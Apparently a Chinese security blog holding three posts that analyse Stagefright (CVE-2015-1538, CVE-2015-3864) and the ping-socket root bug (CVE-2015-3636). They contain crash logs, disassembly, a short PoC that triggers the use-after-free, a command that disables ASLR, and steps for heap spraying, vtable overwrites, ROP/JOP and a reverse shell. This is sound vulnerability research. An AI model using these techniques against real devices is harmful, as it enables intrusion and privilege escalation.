2016-03-15

CVE-2015-3864

cve-2015-3864是cve-2015-1538同系列中的另外一个漏洞,利用的是解析tx3g中整型上溢,google公布的exploit-38226中通过利用jemalloc的特性对内存进行巧妙的布局,溢出后基本能100%覆盖到MPEG4DataSource的虚表指针。 2016年3月18号NorthBit公布了一篇文章Metaphor A (real) real­life Stagefright exploit,在google的基础上通过信息泄漏绕过aslr。

其中内存布局原理(摘自Metaphor):

pssh:消耗内存碎片,留下大块内存。解析期间不会释放掉,大小可控。 titl/gnre:内存占位,解析到第二个先申请新的然后会释放之前的。 同时pssh堆喷中,分配大于0x40000长度会调用mmap函数,mmap()地址8位随机,需要预测堆喷地址。

总结下来:

通过pssh atoms堆喷使新的的heap runs可预测。

申请titl和gnre占位。

解析stbl box后创建MPEG4DataSource对象,复用titl。

解析tx3g box复用gnre。

溢出覆盖虚表指针。

调试过程(Nexus5 andorid 5.01):

1.MPEG4DataSource对象复用titl

2.tx3g复用gnre

3.memcpy溢出覆盖vTable

4.调用mDataSource->readAt控制流程

5.gadget1

6.gadget2

7.gadget3

8.mprotect

9.执行mprotect后通过gadget2和gadget3调整堆栈然后跳入shellcode

最后shellreversetcp

2016-03-13

CVE-2015-1538 libstagefright漏洞分析

漏洞分析

POC直接使用https://github.com/jduck/cve-2015-1538-1生成的mp4文件,作者说明了这个exp并不通用,我的测试机为nexus-5-android-4.4,只能造成崩溃。 崩溃信息:

    03-13 13:19:33.130 14267 14267 I DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
    03-13 13:19:33.130 14267 14267 I DEBUG   : Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
    03-13 13:19:33.130 14267 14267 I DEBUG   : Revision: '11'
    03-13 13:19:33.130 14267 14267 I DEBUG   : pid: 17874, tid: 17928, name: Binder_1  >>> /system/bin/mediaserver <<<
    03-13 13:19:33.130 14267 14267 I DEBUG   : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 41d00010
    03-13 13:19:33.140 15745 15836 W NativeCrashListener: Couldn't find ProcessRecord for pid 17874
    03-13 13:19:33.180 14267 14267 I DEBUG   :     r0 41d00010  r1 00d00000  r2 001ed3c9  r3 00000000
    03-13 13:19:33.180 14267 14267 I DEBUG   : AM write failure (32 / Broken pipe)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     r4 b5b40030  r5 000000da  r6 2a0480a0  r7 00000a38
    03-13 13:19:33.180 14267 14267 I DEBUG   :     r8 0000000c  r9 b5b40034  sl 00000008  fp 2a0480a4
    03-13 13:19:33.180 14267 14267 I DEBUG   :     ip 41d00000  sp b5b40010  lr b697edaf  pc b697ed3a  cpsr 000f0030
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d0  0000001000000079  d1  0000000000000061
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d2  7472616b6d6f6f64  d3  6d696e666d6469a9
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d4  4242424242424242  d5  4242424242424242
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d6  4242424242424242  d7  4242424242424242
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d8  0000000000000000  d9  0000000000000000
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d10 0000000000000000  d11 0000000000000000
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d12 0000000000000000  d13 0000000000000000
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d14 0000000000000000  d15 0000000000000000
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d16 3f96de83a904ab51  d17 3f50624dd2f1a9fc
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d18 41cc356335800000  d19 3fc35fe27b800000
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d20 3fc5533fc2a45f6a  d21 bf66be3f0c22dc9a
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d22 3fc2e2cedd55ea5c  d23 3fe0000000000000
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d24 3f88b0d283c30939  d25 bf88b0d28a518506
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d26 0000000000000000  d27 4000000000000000
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d28 3ffda3a6245542b4  d29 bfc4eaefa4251850
    03-13 13:19:33.180 14267 14267 I DEBUG   :     d30 3ff0000000000000  d31 3fe29d5df484a30a
    03-13 13:19:33.180 14267 14267 I DEBUG   :     scr 60000010
    03-13 13:19:33.180 14267 14267 I DEBUG   : 
    03-13 13:19:33.180 14267 14267 I DEBUG   : backtrace:
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #00  pc 0007dd3a  /system/lib/libstagefright.so (android::SampleTable::setSampleToChunkParams(long long, unsigned int)+137)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #01  pc 00062f8d  /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+2816)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #02  pc 0006271f  /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+658)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #03  pc 0006271f  /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+658)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #04  pc 0006271f  /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+658)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #05  pc 0006271f  /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+658)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #06  pc 0006271f  /system/lib/libstagefright.so (android::MPEG4Extractor::parseChunk(long long*, int)+658)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #07  pc 00063aaf  /system/lib/libstagefright.so (android::MPEG4Extractor::readMetaData()+46)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #08  pc 00063d6d  /system/lib/libstagefright.so (android::MPEG4Extractor::getMetaData()+8)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #09  pc 0007f695  /system/lib/libstagefright.so (android::StagefrightMetadataRetriever::getFrameAtTime(long long, int)+28)
    03-13 13:19:33.180 14267 14267 I DEBUG   :     #10  pc 00035945  /system/lib/libmediaplayerservice.so (android::MetadataRetrieverClient::getFrameAtTime(long long, int)+64)
    ...

查看堆栈调用,最后崩溃在:android::SampleTable::setSampleToChunkParams(long long, unsigned int)+137,非法地址41d00010,该值与R0寄存器值相等,猜想对该寄存器操作导致。 ida反汇编libstagefright.so定位到该行代码

.text:0007DD2C loc_7DD2C                               ; CODE XREF: android::SampleTable::setSampleToChunkParams(long long,uint)+BC j
.text:0007DD2C                 LDR             R0, [R6,#8]
.text:0007DD2E                 MOV.W           R10, #8
.text:0007DD32                 MUL.W           R7, R8, R5
.text:0007DD36                 LDRD.W          R2, R3, [R6,#0x20]
.text:0007DD3A                 LDR             R1, [R0]     // crash!!!
.text:0007DD3C                 MOV.W           R11, #0
.text:0007DD40                 ADDS.W          R10, R10, R2
.text:0007DD44                 STMEA.W         SP, {R4,R8}
.text:0007DD48                 ADC.W           R11, R11, R3
.text:0007DD4C                 ADDS.W          R2, R10, R7
.text:0007DD50                 ADC.W           R3, R11, #0
.text:0007DD54                 LDR             R1, [R1,#0x1C]
.text:0007DD56                 BLX             R1    // 跳转可控!!!
.text:0007DD58                 CMP             R0, #0xC
.text:0007DD5A                 BEQ             loc_7DD5E
.text:0007DD5C                 B               loc_7DD72

0007DD3A处执行了LDR R1, [R0],获取R0寄存器的值,验证了该想法。注意下边BLX R1将跳转到R1执行代码,R1 = [[R0]+0x1C],所以如果R0可控,则可控制代码执行流程。 R0=41d00010,刚好是EXP中对喷的值sp_addr,所以构造好数据即可执行到shellcode中。

对照源码(附带注释):

status_t SampleTable::setSampleToChunkParams(
        off_t data_offset, size_t data_size) {
    if (mSampleToChunkOffset >= 0) {
        return ERROR_MALFORMED;
    }
  
  // 数据块偏移 
    mSampleToChunkOffset = data_offset;
  
  // 小于8说明无数据(头部)
    if (data_size < 8) {
        return ERROR_MALFORMED;
    }
  
  // 获取size大小,前8个字节
    uint8_t header[8];
    if (mDataSource->readAt(
                data_offset, header, sizeof(header)) < (ssize_t)sizeof(header)) {
        return ERROR_IO;
    }
  
  // 高4位是否为0(version,flags)
    if (U32_AT(header) != 0) {
        // Expected version = 0, flags = 0.
        return ERROR_MALFORMED;
    }
  
  // 获取低4位(Number Of Entries)
    mNumSampleToChunkOffsets = U32_AT(&header[4]);
  
  // 检测数据大小是否合法
    if (data_size < 8 + mNumSampleToChunkOffsets * 12) {
        return ERROR_MALFORMED;
    }
  
  // 创建SampleToChunkEntry对象 size=12
    mSampleToChunkEntries =
        new SampleToChunkEntry[mNumSampleToChunkOffsets];
  
  // 循环解析出每个SampleToChunkEntry数据
    for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) {
        uint8_t buffer[12];
        if (mDataSource->readAt(
                    mSampleToChunkOffset + 8 + i * 12, buffer, sizeof(buffer))
                != (ssize_t)sizeof(buffer)) {
            return ERROR_IO;
        }
 
        CHECK(U32_AT(buffer) >= 1);  // chunk index is 1 based in the spec.
 
        // We want the chunk index to be 0-based.
        mSampleToChunkEntries[i].startChunk = U32_AT(buffer) - 1;
        mSampleToChunkEntries[i].samplesPerChunk = U32_AT(&buffer[4]);
        mSampleToChunkEntries[i].chunkDesc = U32_AT(&buffer[8]);
    }
 
    return OK;
}

最后blx r1对应的代码为mDataSource->readAt(),mDataSource类型为sp<DataSource>,readAt函数在MPEG4DataSource中实现,位于虚表指针0x1C处,如下所示:

所以可以得出崩溃时R0为mDataSource指针,即堆喷时覆盖了mDataSource指针。

再看setSampleToChunkParams函数调用来源:

status_t MPEG4Extractor::parseChunk(off64_t *offset, int depth) {
 ...
 case FOURCC('s', 't', 's', 'c'):
        {
            status_t err =
                mLastTrack->sampleTable->setSampleToChunkParams(
                        data_offset, chunk_data_size);

            if (err != OK) {
                return err;
            }

            *offset += chunk_size;
            break;
        }
 ...
}

在解析stsc类型的数据中调用了该函数,查看sampleTable类,在其+8处刚好为setSampleToChunkParams函数,对照汇编最开始的LDR R0, [R6,#8],可知此时R6为sampleTable指针。

查看exp中stsc数据块内容

再结合前边源码setSampleToChunkParams解析过程:

1.检查数据块大小是否合法,即大于头部8个字节。

2.读取的mNumSampleToChunkOffsets为0xc0000003,经过mul计算后0xc0000003*0c=0x900000024,由于32位乘法指令导致上溢位0x24。 data_size为数据类型stsc前四个字节再减去8个字节的头部,即为0x34-0x8=0x2c,即通过了data_size < 8 + mNumSampleToChunkOffsets * 12的判断。

3.创建0xc0000003个SampleToChunkEntry对象,每个大小为12字节。

4.循环解析每个SampleToChunkEntry数据,由于EXP中stsc数据大小为0x1200字节,去掉前8个字节,则实际循环次数为(0x1200 / 0xc) - 1 = 0x17F次,如果在循环期间能够覆盖sampleTable或者mDataSource则必然崩溃。溢出的数据会不断填充高地址,所以要保证new出来的SampleToChunkEntry地址比他们低。

ida挂载调试,直接下断到 mSampleToChunkEntries = new SampleToChunkEntry[mNumSampleToChunkOffsets]. 最后可以看到三个地址如下:

加上在上级调用看到的mLastTrack地址,四个地址如下所示:

    mSampleToChunkEntries       = 0xb7fb5358
    mLastTrack                  = 0xb7fb59d0
    sampleTable                 = 0xb7fb5a98
    mDataSource                 = 0xb7fb50a8

0xb7fb5a98 - 0xb7fb5358 = 0x740,所以只要溢出超过0x740字节就必定能够覆盖sampleTable地址上的内容,因此LDR R0, [R6,#8]后R0获取的并不是mDataSource而是stsc中的数据。

但是如果只是覆盖了sampleTable地址,执行不到下边的blx r1就会发生崩溃,所以这种情况并不能控制代码执行流程。 在EXP中,通过覆盖Track对象的sampleTable指针,然后程序执行到Track对象的析构函数来控制流程。

在调试中可以知道几个重要结构的地址分布:mSampleToChunkEntries < Track < sampleTable,看下Track结构:

   struct Track {
        Track *next;
        sp<MetaData> meta;
        uint32_t timescale;
        sp<SampleTable> sampleTable;
        bool includes_expensive_metadata;
        bool skipTrack;
    };

其中sampleTable指针位于Track+0xC处,假如溢出覆盖到的地址为fakeaddr,如果Track+0xC < fakeaddr < sampleTable,那么就能覆盖掉Track对象的sampleTable指针并不引起崩溃。 当所有数据块数据解析完后,会调用MPEG4Extractor中的析构函数,遍历track链表执行delete操作。

delete函数会调用android::RefBase::decStrong

此时r0为sampleTable指针,利用方式和cve-2014-7911相同。

可利用条件

利用条件需要多次调试来确定,调试过程几个重要的地方:

    // sony xperia S android 4.04
    // 关闭aslr
    echo 0 > proc/sys/kernel/randomize_va_space 

    // 断点
    trak:
        /systembbstagefright.so+0x6CB68 | _ZN7android14MPEG4Extractor10parseChunkEPxi+0x208

    stsc:
        _ZN7android11SampleTable22setSampleToChunkParamsExj
        // (mSampleToChunkEntries = new SampleToChunkEntry[mNumSampleToChunkOffsets];)
        _ZN7android11SampleTable22setSampleToChunkParamsExj+0x66 

    MPEG4Extractor::~MPEG4Extractor
        _ZN7android14MPEG4ExtractorD1Ev

    decStrong:
        _ZNK7android7RefBase9decStrongEPKv

漏洞利用条件限制要几个重要地址: track1track2sampleTable2SampleToChunkEntry2。 MPEG4Extractor在析构是通过track链表遍历逐个删除,那么覆盖掉track1或者track2的sampleTable指针都可以控制程序流程。 为保证程序不崩,溢出的地址必须位于track2和sampleTable2中间,所以可利用条件为: SampleToChunkEntry2 + overflowSize < (track1 | track2) + 0xC < sampleTable2 上边条件需要多次调试来调整overflowSize大小。

比如某次调试中发现: track1 = 0x2D3D8 track2 = 0x2E458 SampleToChunkEntry2 = 0x2DB00 sampleTable2 = 0x2F010

sampleTable2 - SampleToChunkEntry2 = 0x1510 track2 - SampleToChunkEntry2 = 0x958

满足利用条件,即SampleToChunkEntry2溢出以后能够成功覆盖track2并且程序不崩溃。

另外exp中的堆喷地址spaddr需要调试去确定一个概率比较高的地址,libc.so:restorecore_regs地址也需要修改。

exp在实际测试中成功率很低,原因都是由于溢出数据覆盖掉了sampleTable地址的数据,导致调用mDataSorce时崩溃,或者覆盖的地址高于track和sampleTable几个对象以外的其他数据,导致应用解析失败或者crash。

另一篇分析文章一步一步调通stagefright exploit说明的tx3g位置问题我在调试时也验证了,SampleToChunkEntry2地址位于track1和track2之间的几率相对来说比较大,但是还是有几率落在track1之前,溢出大小我的机器上调试过程中,在能成功率用的内存布局情况下,track2和SampleToChunkEntry2的距离基本是在0x900~0x1200之间,所以原作者的溢出值并没有问题,需要针对不同机器调试确认,下边是我实际调试中选取的10组数据。

index track1 track2 SampleToChunkEntry2 sampleTable2 overflow_size is_exploit
0 0x2d2d8 0x2d298 0x2e100 0x2e9f0 x no
1 0x2d698 0x15e00 0x2db70 0x2ede0 x no
2 0x40cb0 0x407f0 0x3ef98 0x44528 0x1858 yes
3 0x2d288 0x2d360 0x2d760 0x2ec70 x no
4 0x3d500 0x400a0 0x42e48 0x3fa00 x no
5 0x40a38 0x3ccf0 0x428a8 0x3e530 x no
6 0x2d3d8 0x2e458 0x2db00 0x2f010 0x958 yes
7 0x418e0 0x3feb8 0x43f38 0x3fb90 x no
8 0x3d548 0x410f0 0x3f890 0x3fa88 x no
9 0x3cf78 0x3f690 0x3e5e0 0x42a40 0x10b0 yes

漏洞利用

析构函数执行过后会跳到ROP中,rop布局好数据后先是调用mprotect函数将spaddr地址长度为0x1000改为可执行权限,然后跳入shellreverse_tcp代码中执行,参考CVE-2015-1538漏洞利用中的Shellcode分析

这个过程中所有函数的调用通过SVC指令完成,类似于Intel CPU中的int 0x80中断,SVC指令会根据相应的调用号去执行相应的函数,这些编号定义在include\arm\unistd.h中。

#define __NR_restart_syscall (__NR_SYSCALL_BASE+ 0)
#define __NR_exit (__NR_SYSCALL_BASE+ 1)
#define __NR_fork (__NR_SYSCALL_BASE+ 2)
#define __NR_read (__NR_SYSCALL_BASE+ 3)
#define __NR_write (__NR_SYSCALL_BASE+ 4)
#define __NR_open (__NR_SYSCALL_BASE+ 5)
#define __NR_close (__NR_SYSCALL_BASE+ 6)
#define __NR_creat (__NR_SYSCALL_BASE+ 8)
#define __NR_link (__NR_SYSCALL_BASE+ 9)
#define __NR_unlink (__NR_SYSCALL_BASE+ 10)
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
#define __NR_chdir (__NR_SYSCALL_BASE+ 12)

影响

/system/core/rootdir/init.rc定义了mediaserver用户组权限

service media /system/bin/mediaserver 511    
class main    
user media  
group audio camera inet net_bt net_bt_admin net_bw_acct drmrpc mediadrm 
ioprio rt 4

system/core/include/private/androidfilesystemconfig.h 所以可以访问audio camera bluetooth。。。

总结

  1. EXP利用MP4格式标准的其它Box申请了一些零碎的内存块创造内存间隙,在程序执行过程中这些零碎内存块很有可能被free,后面申请SampleToChunkEntry的内存就有可能出现在低地址,成功溢出到sampleTable指针并不造成崩溃。
  2. Heap Spray,通过tx3g Box堆喷2M数据,使其某一page出现在预测地址上。
  3. ROP和shellreversetcp中的SVC调用,mprotect函数绕过dep保护。
  4. mp4文件格式解析流程。
  5. 几个重要的内存地址的不确定性导致漏洞无法100%成功,并且rop中重要跳转指令直接硬编码,无法绕过aslr,但是溢出数据足够大能100%造成崩溃。
  6. 或者有其他细节我没理解到,又或者有更好的方法去布局内存分布,值得思考。

cve-2015-3864

cve-2015-3864是同系列中的另外一个漏洞,详见cve-2015-3864

2016-03-09

CVE-2015-3636内核漏洞分析

漏洞简介

Linux kernel的ping套接字实现上存在释放后重利用漏洞,x86-64架构的本地用户利用此漏洞可造成系统崩溃,非x86-64架构的用户可提升其权限,pingpongroot就是利用该漏洞达到提权的效果,现在android-6.0以下的手机root工具靠的就是这个漏洞。

漏洞分析

详细的分析参考KeenTeam这篇文章Own your Android! Yet Another Universal Root

漏洞POC很简单,如下:

int sockfd= socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);  // refcount =1;       
structsockaddr addr = { .sa_family = AF_INET };
int ret =connect(sockfd, &addr, sizeof(addr));  // refcount ++;  创建hash
structsockaddr _addr = { .sa_family = AF_UNSPEC };
ret =connect(sockfd, &_addr, sizeof(_addr));  //删除hash;refcount --;
ret =connect(sockfd, &_addr, sizeof(_addr)); // bug导致继续删除hash;refcount --; refcount

简单的说就是当用户用ICMP socket和AF_UNSPEC为参数调用connect()时,系统会直接跳到disconnect(),删除当前sock对象的hash,并且让refcount递减一次,删除hash过程的代码:

void ping_unhash(struct sock *sk)
{
 struct inet_sock *isk = inet_sk(sk);
 pr_debug("ping_unhash(isk=%p,isk->num=%u)\n", isk, isk->inet_num);
 if (sk_hashed(sk)) {
  write_lock_bh(&ping_table.lock);
  hlist_nulls_del(&sk->sk_nulls_node);
  sock_put(sk);
  isk->inet_num = 0;
  isk->inet_sport = 0;
  sock_prot_inuse_add(sock_net(sk), sk->sk_prot, -1);
  write_unlock_bh(&ping_table.lock);
 }
}

第一次调用hlistnullsdel删除hash后会将hlistnode.pprv=0x200200,然后再用相同的参数再调用一次connect(),因为hash已经被删除了,此时if语句应该返回FALSE,但是由于hlistnode.pprv = 0x200200 != null导致sk_hashed(sk)返回TRUE,导致refcount被多减了一次。因此,攻击者只需要创建一个ICMP socket,连续调用3个connect()(第一个connect()用来生成hash),就可以把refcount置为0,从而释放sock对象导致UAF。

如何构造poc

ping_unhash 调用来源

struct proto ping_prot = {
    .name =        "PING",
    .owner =    THIS_MODULE,
    .init =        ping_init_sock,
    .close =    ping_close,
    .connect =    ip4_datagram_connect,
    .disconnect =    udp_disconnect,
    .setsockopt =    ip_setsockopt,
    .getsockopt =    ip_getsockopt,
    .sendmsg =    ping_v4_sendmsg,
    .recvmsg =    ping_recvmsg,
    .bind =        ping_bind,
    .backlog_rcv =    ping_queue_rcv_skb,
    .hash =        ping_hash,
    .unhash =    ping_unhash,                    // !!!!!!!!!
    .get_port =    ping_get_port,
    .obj_size =    sizeof(struct inet_sock),
};

ping_prot

static struct inet_protosw inetsw_array[] =
{
    ...
       {
        .type =       SOCK_DGRAM,
        .protocol =   IPPROTO_ICMP,
        .prot =       &ping_prot,
        .ops =        &inet_dgram_ops,
        .no_check =   UDP_CSUM_DEFAULT,
        .flags =      INET_PROTOSW_REUSE,
       },
    ...
};

所以创建的socket为socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);

ping_prot.unhash调用来源

int udp_disconnect(struct sock *sk, int flags)
{
    struct inet_sock *inet = inet_sk(sk);
    /*
     *    1003.1g - break association.
     */
 
    sk->sk_state = TCP_CLOSE;
    inet->inet_daddr = 0;
    inet->inet_dport = 0;
    sock_rps_reset_rxhash(sk);
    sk->sk_bound_dev_if = 0;
    if (!(sk->sk_userlocks & SOCK_BINDADDR_LOCK))
        inet_reset_saddr(sk);
 
    if (!(sk->sk_userlocks & SOCK_BINDPORT_LOCK)) {
        sk->sk_prot->unhash(sk);        // !!!!!!!!!!!!!!!!
        inet->inet_sport = 0;
    }
    sk_dst_reset(sk);
    return 0;
}

ping_prot.disconnect调用来源

int inet_dgram_connect(struct socket *sock, struct sockaddr * uaddr,
               int addr_len, int flags)
{
    struct sock *sk = sock->sk;
 
    if (addr_len < sizeof(uaddr->sa_family))
        return -EINVAL;
    if (uaddr->sa_family == AF_UNSPEC)        // !!!!!!!!!!!!!
        return sk->sk_prot->disconnect(sk, flags);
 
    if (!inet_sk(sk)->inet_num && inet_autobind(sk))
        return -EAGAIN;
    return sk->sk_prot->connect(sk, (struct sockaddr *)uaddr, addr_len);
}

uaddr->sa_family == AF_UNSPEC 时调用disconnect.

sk->skuserlocks赋值SOCKBINDPORT_LOCK的引用

int ping_bind(struct sock *sk, struct sockaddr *uaddr, int addr_len)
{
    struct inet_sock *isk = inet_sk(sk);
    unsigned short snum;
    int err;
    int dif = sk->sk_bound_dev_if;
 
    err = ping_check_bind_addr(sk, isk, uaddr, addr_len);
    if (err)
        return err;
 
    lock_sock(sk);
 
    err = -EINVAL;
    if (isk->inet_num != 0)
        goto out;
 
    err = -EADDRINUSE;
    ping_set_saddr(sk, uaddr);
    snum = ntohs(((struct sockaddr_in *)uaddr)->sin_port);        // snum 端口号
    if (ping_get_port(sk, snum) != 0) {
        ping_clear_saddr(sk, dif);
        goto out;
    }
 
    pr_debug("after bind(): num = %d, dif = %d\n",
         (int)isk->inet_num,
         (int)sk->sk_bound_dev_if);
 
    err = 0;
    if ((sk->sk_family == AF_INET && isk->inet_rcv_saddr) ||
        (sk->sk_family == AF_INET6 &&
         !ipv6_addr_any(&inet6_sk(sk)->rcv_saddr)))
        sk->sk_userlocks |= SOCK_BINDADDR_LOCK;
 
    if (snum)                                                                                 // !!! 如果存在端口号
        sk->sk_userlocks |= SOCK_BINDPORT_LOCK;            // !!!!!!!!!!!!! 赋值
    isk->inet_sport = htons(isk->inet_num);
    isk->inet_daddr = 0;
    isk->inet_dport = 0;
 
#if IS_ENABLED(CONFIG_IPV6)
    if (sk->sk_family == AF_INET6)
        memset(&inet6_sk(sk)->daddr, 0, sizeof(inet6_sk(sk)->daddr));
#endif
 
    sk_dst_reset(sk);
out:
    release_sock(sk);
    pr_debug("ping_v4_bind -> %d\n", err);
    return err;
}

所以bind时不能指定端口号 c struct sockaddr_in sa = { 0 }; sa.sin_family = AF_INET; bind(sk, &sa, sizeof(sa));

漏洞利用思路

  1. 填充PING socket objects,覆盖close指针。
  2. 调用close(sockfd)获取控制权。
  3. 泄漏内核栈获取thread_info结构。
  4. 修改threadinfo.addrlimit值为0xffffffff。
  5. 修改thread_info.task.cred提权。
  6. 由于0x200200地址并没有map,所以最开始要先在该地址map内存防止程序崩溃。

在内核空间中,physmap和SLABs一般会处于不同的地方,physmap位于相对较高的地址,SLABs位于相对较低的地址,由于内核空间里physmap和SLABs靠得很近,可以通过先创建大量的socket对象抬高SLAB地址,exp中会先获取单个进程可创建的最大socket数maxfds,然后循环每个进程创建maxfds个正常的socket然后加上一个漏洞的vulsocket,最终生成了65000个正常的socket加上16个vulsocket。

然后在用户空间不断map内存把数据映射到physmap,通过特殊标记判断内核空间physmap是否和SLAB重叠。 如何判断targeting vulnerable PING sock objects已经被physmap中的数据给覆盖? 每喷一个数据块,就调用一次targeting vulnerable PING sock objects的ioctl(sockfd, SIOCGSTAMPNS, (struct timespec*))函数:

int sock_get_timestampns(struct sock *sk, struct timespec __user *userstamp)
{
    struct timespec ts;
    if (!sock_flag(sk, SOCK_TIMESTAMP))
        sock_enable_timestamp(sk, SOCK_TIMESTAMP);
    ts = ktime_to_timespec(sk->sk_stamp);
    if (ts.tv_sec == -1)
        return -ENOENT;
    if (ts.tv_sec == 0) {
        sk->sk_stamp = ktime_get_real();
        ts = ktime_to_timespec(sk->sk_stamp);
    }
    return copy_to_user(userstamp, &ts, sizeof(ts)) ? -EFAULT : 0;
}

这个函数将泄漏出sk->sk_stamp这个值,我们可以通过对比这个值和之前填充的值来判断是否已经成功覆盖。

最终效果如下:

如果覆盖成功,将其他正常的socket对象释放掉,然后将vulsocket的sk->skprot->close函数指针覆盖掉,最终调用close函数,内核将调用sk->skprot->close,这个时候,skprot已经完全被控制,即sk_prot->close也被控,最终控制了内核空间的pc寄存器的值,控制了代码的执行流程。

JOP

通过构造JOP绕过PXN保护,关于PXN参考:PXN防护技术的研究与绕过

补丁

漏洞补丁比较简单,删除指针后将指针置NULL。

总结

  1. 源码中查看实socket创建和close流程不容易找到调用关系,可编译goldfish内核进行调试。

  2. 实际在nexus5运行exp并不能触发漏洞,发现抬高过slab内存块之后进行循环map操作,一直没有找到重叠的部分导致while死循环,原因是作者在写exp时保留了系统运行的64M内存,而重叠的部分恰好是在这块内存中,将其尝试变小即可。

  3. 再给的exp中覆盖的close地址为用户空间地址obtain_root_privilege_by_modify_task_cred,该处用来修改线程cred信息并提权操作,在android5.0以后的版本中有PXN保护,并不允许内核执行用户层代码,所以需要构造ROP绕过。构造ROP的思路在KeenTeam的pdf中有详细说明,使用ROP意味着需要将内核栈转移到用户栈空间中,这种行为损坏SP寄存器并带来不确定因素,SP在内核代码执行期间比较关键,任何时候修改破坏是不明智的,所以其中使用的是更稳定的JOP。

  4. 理解SLUB内存管理机制和physmap。

  5. KeenTeam文章中的利用思路,详细说明了为什么不通过sendmmsg()完成堆喷来覆盖,其中的一些思路和想法确实值得深思和学习。

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...